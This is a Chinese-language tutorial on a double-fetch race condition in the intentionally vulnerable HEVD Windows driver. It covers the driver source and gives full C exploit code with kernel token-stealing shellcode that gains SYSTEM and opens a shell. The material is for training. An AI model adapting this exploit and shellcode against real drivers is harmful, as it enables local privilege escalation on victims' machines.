0x07 - Introduction to Windows Kernel Race Conditions
在上一个教程中,我们成功地在 Windows 11 (x64) 上利用了一个类型混淆漏洞。在本教程中,我们将介绍一种新的漏洞类型 - 条件竞争,更具体地说是双重获取(double fetch)!
与之前的教程一样,我们将在 Windows 7 (x86) 环境下介绍这种漏洞类型。
目录
-
什么是条件竞争(高层次概述) -
使用源代码 -
DoubleFetchIoctlHandler -
TriggerDoubleFetch -
理论 -
制作概念验证 -
漏洞利用 -
参考资料
什么是条件竞争(高层次概述)
条件竞争是攻击者可以在任何系统或应用程序中利用的最复杂和最强大的漏洞类型之一。似乎就在昨天,Dirty Cow 被公开 - 这是一个影响所有使用旧版本 Linux 内核的基于 Linux 的操作系统的本地权限提升漏洞。
说实话,在参加 RET2 Wargames 课程之前,这些类型的漏洞即使在高层次上看起来也完全难以理解。因此,我会尽最大努力对导致这些类型漏洞的原因做一个很好的概述。但是,如果你看完本教程后仍然感到困惑或想要更多关于条件竞争的知识,我强烈推荐 RET2 Wargames。
说到这里,让我们开始高层次的概述。
对于我们的非技术示例,我们将看一个你可能熟悉的游戏,叫做 Overcooked。在这个游戏中,你和你的朋友负责烹饪食物,由于有时间限制,你们经常需要合作才能快速完成订单。你可以想象这会变得多么激烈...
你和你的朋友经常把食材扔进同一个容器,这可能是一个锅、盘子,甚至是果汁杯。
下图显示了多个玩家在制作汤:
在这张图片中,我们看到正在制作两种汤 - 洋葱汤和番茄汤。我们还看到四个玩家:
-
一个小丑 -
一个蝾螈 -
一只鹦鹉 -
一位女士
假设蝾螈玩家有点调皮,喜欢制造混乱。我们看到蝾螈拿着一个洋葱,而鹦鹉正在切番茄。此外,我们还看到小丑拿着一个番茄。
为了完成订单,第二锅汤当前需要一个番茄。
蝾螈和鹦鹉都想把他们的食材扔进锅里,但每种食材都会产生非常不同的结果。
-
如果番茄进入锅中 - 团队将成功完成订单 -
如果洋葱进入锅中 - 团队将不得不倒掉汤重新开始,可能会错过订单
蝾螈知道团队每个人都有各自的角色,但蝾螈正在寻找食物准备方式中的漏洞以便利用它(条件竞争)。由于接下来的两锅汤都是洋葱汤,蝾螈告诉鹦鹉切他的洋葱。
由于所有玩家都在同时试图完成订单,蝾螈面前出现了一个机会窗口。如果鹦鹉正在阅读订单并查看锅需要什么,他可能会太慢而没有注意到蝾螈计划做什么(或者说要往锅里扔什么)。
蝾螈决定利用这一点,成功地破坏了汤...
这与条件竞争有什么关系?
-
你可以把每个玩家想象成一个线程。这些线程都在并行工作,影响着一个共享资源(锅)。 -
在这个例子中,当两个"线程"(玩家)试图同时修改共享资源时,就会发生条件竞争;什么食材被扔进锅里决定了结果。如果洋葱进去了,这就是蝾螈成功的利用。
从技术角度来说,当两个或更多并发进程或线程试图同时修改或访问共享资源时,就会发生条件竞争,导致不可预测或意外的后果。
-
如果多个线程负责释放资源怎么办? -
如果多个线程负责分配资源怎么办? -
如果多个线程决定应用程序采取的路径怎么办?
正如你可以想象的那样,条件竞争的可能性是无穷无尽的。
希望这些解释有意义!让我们开始吧!
使用源代码
首先我们需要确定此漏洞的目标文件。
$ ls -l | grep Double-rw-r--r-- 1 wetw0rk wetw0rk 5801 Nov 18 12:32 DoubleFetch.c-rw-r--r-- 1 wetw0rk wetw0rk 2408 Nov 18 12:32 DoubleFetch.h
源代码告诉我们将要处理以下结构和调用:
// DoubleFetch.h62typedefstruct _DOUBLE_FETCH 63 {64 PVOID Buffer;65 SIZE_T Size;66 } DOUBLE_FETCH, *PDOUBLE_FETCH;// DoubleFetch.c DoubleFetchIoctlHandler() TriggerDoubleFetch()
DoubleFetchIoctlHandler
在这个处理程序中,我们可以看到我们的输入被转换为自定义类型 _DOUBLE_FETCH
的结构指针。之后,我们转换后的输入被发送到 TriggerDoubleFetch() 函数。
156 NTSTATUS157 DoubleFetchIoctlHandler(158 _In_ PIRP Irp,159 _In_ PIO_STACK_LOCATION IrpSp160 ) 161 { 162 PDOUBLE_FETCH UserDoubleFetch = NULL;163 NTSTATUS Status = STATUS_UNSUCCESSFUL;164165 UNREFERENCED_PARAMETER(Irp);166 PAGED_CODE();167168 UserDoubleFetch = (PDOUBLE_FETCH)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;169170if (UserDoubleFetch)171 {172 Status = TriggerDoubleFetch(UserDoubleFetch);173 }174175return Status;176 }
TriggerDoubleFetch
在 TriggerDoubleFetch 中,我们开始看到一个更加"复杂"的操作。
63 __declspec(safebuffers)64 NTSTATUS65 TriggerDoubleFetch(66 _In_ PDOUBLE_FETCH UserDoubleFetch67 )68 {69 NTSTATUS Status = STATUS_SUCCESS; 70 ULONG KernelBuffer[BUFFER_SIZE] = { 0 };7172#ifdef SECURE73 PVOID UserBuffer = NULL;74 SIZE_T UserBufferSize = 0;75#endif7677 PAGED_CODE();7879 __try80 {81//82// Verify if the buffer resides in user mode83//8485 ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));8687 DbgPrint("[+] UserDoubleFetch: 0x%pn", UserDoubleFetch);88 DbgPrint("[+] KernelBuffer: 0x%pn", &KernelBuffer);89 DbgPrint("[+] KernelBuffer Size: 0x%Xn", sizeof(KernelBuffer));9091#ifdef SECURE92 UserBuffer = UserDoubleFetch->Buffer;93 UserBufferSize = UserDoubleFetch->Size;9495 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%pn", UserBuffer);96 DbgPrint("[+] UserDoubleFetch->Size: 0x%Xn", UserBufferSize);9798if (UserBufferSize > sizeof(KernelBuffer))99 {100 DbgPrint("[-] Invalid Buffer Size: 0x%Xn", UserBufferSize);101102 Status = STATUS_INVALID_PARAMETER;103return Status;104 }105106//107// Secure Note: This is secure because the developer is fetching108// 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user109// mode just once and storing it in a temporary variable. Later, this110// stored values are passed to RtlCopyMemory()/memcpy(). Hence, there111// will be no race condition112//113114 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);115#else116 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%pn", UserDoubleFetch->Buffer);117 DbgPrint("[+] UserDoubleFetch->Size: 0x%Xn", UserDoubleFetch->Size);118119if (UserDoubleFetch->Size > sizeof(KernelBuffer))120 { 121 DbgPrint("[-] Invalid Buffer Size: 0x%Xn", UserDoubleFetch->Size);122123 Status = STATUS_INVALID_PARAMETER;124return Status;125 }126127 DbgPrint("[+] Triggering Double Fetchn");128129//130// Vulnerability Note: This is a vanilla Double Fetch vulnerability because the131// developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'132// from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().133// This creates a race condition and the size check could be bypassed which will later134// cause stack based buffer overflow135//136137 RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);138#endif139 }140 __except (EXCEPTION_EXECUTE_HANDLER)141 { 142 Status = GetExceptionCode();143 DbgPrint("[-] Exception Code: 0x%Xn", Status);144 }145146return Status;147 }
让我们来分析这段代码。
从第 63-90 行可以看到,KernelBuffer 使用了一个总大小为 512 字节的 buffer(这个大小可以从 Common.h 文件中的 BUFFER_SIZE 定义获得)。
63 __declspec(safebuffers)64 NTSTATUS65 TriggerDoubleFetch(66 _In_ PDOUBLE_FETCH UserDoubleFetch67 )68 {69 NTSTATUS Status = STATUS_SUCCESS; 70 ULONG KernelBuffer[BUFFER_SIZE] = { 0 };7172#ifdef SECURE73 PVOID UserBuffer = NULL;74 SIZE_T UserBufferSize = 0;75#endif7677 PAGED_CODE();7879 __try80 {81//82// Verify if the buffer resides in user mode83//8485 ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));8687 DbgPrint("[+] UserDoubleFetch: 0x%pn", UserDoubleFetch);88 DbgPrint("[+] KernelBuffer: 0x%pn", &KernelBuffer);89 DbgPrint("[+] KernelBuffer Size: 0x%Xn", sizeof(KernelBuffer));9091#ifdef SECURE92 UserBuffer = UserDoubleFetch->Buffer;93 UserBufferSize = UserDoubleFetch->Size;9495 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%pn", UserBuffer);96 DbgPrint("[+] UserDoubleFetch->Size: 0x%Xn", UserBufferSize);9798if (UserBufferSize > sizeof(KernelBuffer))99 {100 DbgPrint("[-] Invalid Buffer Size: 0x%Xn", UserBufferSize);101102 Status = STATUS_INVALID_PARAMETER;103return Status;104 }105106//107// Secure Note: This is secure because the developer is fetching108// 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user109// mode just once and storing it in a temporary variable. Later, this110// stored values are passed to RtlCopyMemory()/memcpy(). Hence, there111// will be no race condition112//113114 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
第 115-147 行我们开始看到漏洞。我们可以看到,如果 _DOUBLE_FETCH
结构体中 Size
成员的大小大于 sizeof(KernelBuffer)
,驱动程序将会返回。
否则我们将到达 RtlCopyMemory() 函数调用。
115#else116 DbgPrint("[+] UserDoubleFetch->Buffer: 0x%pn", UserDoubleFetch->Buffer);117 DbgPrint("[+] UserDoubleFetch->Size: 0x%Xn", UserDoubleFetch->Size);118119if (UserDoubleFetch->Size > sizeof(KernelBuffer))120 {121 DbgPrint("[-] Invalid Buffer Size: 0x%Xn", UserDoubleFetch->Size);122123 Status = STATUS_INVALID_PARAMETER;124return Status;125 }126127 DbgPrint("[+] Triggering Double Fetchn");128129//130// Vulnerability Note: This is a vanilla Double Fetch vulnerability because the131// developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'132// from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().133// This creates a race condition and the size check could be bypassed which will later134// cause stack based buffer overflow135//136137 RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);138#endif139 }140 __except (EXCEPTION_EXECUTE_HANDLER)141 {142 Status = GetExceptionCode();143 DbgPrint("[-] Exception Code: 0x%Xn", Status);144 }145146return Status;147 }
原理
查看结构体,我们可以传递一个指向大缓冲区的指针,并将大小设置为较小的值?当然,我们必须在恰当的时机执行这个操作...
也许我们可以发送如下内容:
+-----------+---------------------------------+| Thread #1 | Spam DOUBLE_FETCH.Size (0x10) |+-----------+---------------------------------+| Thread #2 | Spam DOUBLE_FETCH.Size (0x1000) |+-----------+---------------------------------+
编写 PoC
有了可靠的攻击计划,我们就可以开始编写如下所示的 PoC。
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#include<processthreadsapi.h>#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)/* Structure used by Double Fetch */typedefstruct _DOUBLE_FETCH{ PVOID Buffer; SIZE_T Size;} DOUBLE_FETCH, *PDOUBLE_FETCH;/* Structure for threads */typedefstruct _IRP_ARGS{ HANDLE hHEVD; PDOUBLE_FETCH pDoubleFetch;} IRP_ARGS, *PIRP_ARGS;/* Max threads */#define NUM_THREADS 5/* Exploit Buffer */#define BUFFER 0x1000/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* TriggerRaceCondition(): Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm at runtime. If we win the race we successfully trigger a buffer overflow! */DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters){ PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;while (1) { pIrpArgs->pDoubleFetch->Size = BUFFER; }return0;}/* TriggerWorkingCondition(): As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that condition. */DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters){ DWORD dwBytesReturned = 0; PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;printf("t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%xn", pIrpArgs->pDoubleFetch, pIrpArgs->pDoubleFetch->Size);while (1) { pIrpArgs->pDoubleFetch->Size = 0x10; DeviceIoControl(pIrpArgs->hHEVD, HEVD_IOCTL_DOUBLE_FETCH, pIrpArgs->pDoubleFetch,sizeof(DOUBLE_FETCH),NULL,0x00, &dwBytesReturned,NULL); }return0;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */voidGenerateExploitBuffer(LPVOID lpvBuffer){uint32_t *payload = (uint32_t *)(lpvBuffer);for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++) { *payload++ = 0x41414141; }}/* Exploit(): Double Fetch */intExploit(HANDLE hHEVD){ LPVOID lpvMemoryAllocation = NULL; HANDLE hThreadWork[NUM_THREADS] = { 0 }; HANDLE hThreadRace[NUM_THREADS] = { 0 }; PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS)); PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH)); lpvMemoryAllocation = VirtualAlloc(NULL, BUFFER, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);/* Fill up the buffer */ GenerateExploitBuffer(lpvMemoryAllocation);/* Setup the Double Fetch object */ pDoubleFetchObject->Buffer = lpvMemoryAllocation; pDoubleFetchObject->Size = 0;/* Setup the base IRP argument(s) */ pIrpArgs->hHEVD = hHEVD; pIrpArgs->pDoubleFetch = pDoubleFetchObject;/* Start the race!! */printf("[*] Off to the racesn");for (int i = 0; i < NUM_THREADS; i++) { hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL); hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL); } WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);for (int i = 0; i < NUM_THREADS; i++) { TerminateThread(hThreadWork[i], 0); CloseHandle(hThreadWork[i]); TerminateThread(hThreadRace[i], 0); CloseHandle(hThreadRace[i]); }return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation successful, enjoy de shell!!nn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn"); }if (hHEVD != INVALID_HANDLE_VALUE) { CloseHandle(hHEVD); }}
当 buffer 发送后出现以下崩溃:
如果我们使用 !analyze -v
分析崩溃,可以看到以下内容:
根据我使用 HEVD 的经验,这通常意味着我们的 buffer 太大,导致数据损坏,使我们能够清晰地覆盖返回地址。因此解决方案是发送一个更小的 buffer。为了向 2600 致敬,我决定发送 2600 字节!
发送后,我们已经获得了对指令指针的控制!
利用过程
在调试偏移量后,我开发了以下代码:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#include<processthreadsapi.h>#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)/* Structure used by Double Fetch */typedefstruct _DOUBLE_FETCH{ PVOID Buffer; SIZE_T Size;} DOUBLE_FETCH, *PDOUBLE_FETCH;/* Structure for threads */typedefstruct _IRP_ARGS{ HANDLE hHEVD; PDOUBLE_FETCH pDoubleFetch;} IRP_ARGS, *PIRP_ARGS;/* Max threads */#define NUM_THREADS 5/* Exploit Buffer */#define BUFFER 2084/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* TriggerRaceCondition(): Since driver reads from userland twice we can overwrite the existing condition that bypasses the check at runtime. If we win the race we successfully trigger a buffer overflow! */DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters){ PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;while (1) { pIrpArgs->pDoubleFetch->Size = BUFFER; }return0;}/* TriggerWorkingCondition(): As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that condition. */DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters){ DWORD dwBytesReturned = 0; PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;printf("t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%xn", pIrpArgs->pDoubleFetch, pIrpArgs->pDoubleFetch->Size);while (1) { pIrpArgs->pDoubleFetch->Size = 0x10; DeviceIoControl(pIrpArgs->hHEVD, HEVD_IOCTL_DOUBLE_FETCH, pIrpArgs->pDoubleFetch,sizeof(DOUBLE_FETCH),NULL,0x00, &dwBytesReturned,NULL); }return0;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvBuffer){uint32_t *payload = (uint32_t *)(lpvBuffer); LPVOID lpvShellcode = NULL;char shellcode[]=// sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint"x60"// pushal "x31xc0"// xor eax, eax"x64x8bx80x24x01x00x00"// mov eax, dword ptr fs:[eax + 0x124]"x8bx40x50"// mov eax, dword ptr [eax + 0x50]"x89xc1"// mov ecx, eax"xbax04x00x00x00"// mov edx, 4"x8bx80xb8x00x00x00"// mov eax, dword ptr [eax + 0xb8]"x2dxb8x00x00x00"// sub eax, 0xb8"x39x90xb4x00x00x00"// cmp dword ptr [eax + 0xb4], edx"x75xed"// jne 0x1014"x8bx90xf8x00x00x00"// mov edx, dword ptr [eax + 0xf8]"x89x91xf8x00x00x00"// mov dword ptr [ecx + 0xf8], edx"x61"// popal/* RETURN CODE */"x5d"// POP EBP"xc2x08x00"; // RET 0x08 lpvShellcode = VirtualAlloc(NULL, 57, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);if (lpvShellcode == NULL) {printf("[-] Failed to generate shellcode allocationn");return-1; }printf("[*] Copying shellcode to allocated memory regionn");memcpy(lpvShellcode, shellcode, 57);for (int i = 0; i < (BUFFER / sizeof(uint32_t)); i++) { *payload++ = (uint32_t)lpvShellcode; }return0;}/* Exploit(): Double Fetch */DWORD Exploit(HANDLE hHEVD){ LPVOID lpvMemoryAllocation = NULL; HANDLE hThreadWork[NUM_THREADS] = { 0 }; HANDLE hThreadRace[NUM_THREADS] = { 0 }; PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS)); PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH)); lpvMemoryAllocation = VirtualAlloc(NULL, BUFFER, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);/* Fill up the buffer */printf("[*] Successfully allocated exploitation buffern");if (GenerateExploitBuffer(lpvMemoryAllocation) == -1) {return-1; }/* Setup the Double Fetch object */ pDoubleFetchObject->Buffer = lpvMemoryAllocation; pDoubleFetchObject->Size = 0;/* Setup the base IRP argument(s) */ pIrpArgs->hHEVD = hHEVD; pIrpArgs->pDoubleFetch = pDoubleFetchObject;/* Start the race!! */printf("[*] Off to the racesn");for (int i = 0; i < NUM_THREADS; i++) { hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL); hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL); } WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 1000);for (int i = 0; i < NUM_THREADS; i++) { TerminateThread(hThreadWork[i], 0); CloseHandle(hThreadWork[i]); TerminateThread(hThreadRace[i], 0); CloseHandle(hThreadRace[i]); }return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation successful, enjoy de shell!!nn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn"); }if (hHEVD != INVALID_HANDLE_VALUE) { CloseHandle(hHEVD); }}
发送后,我们可以看到已经成功利用了 double fetch(条件竞争)漏洞!
参考资料
https://www.kn0sky.com/?p=194
原文始发于微信公众号(securitainment):Windows 内核条件竞争(double fetch)介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论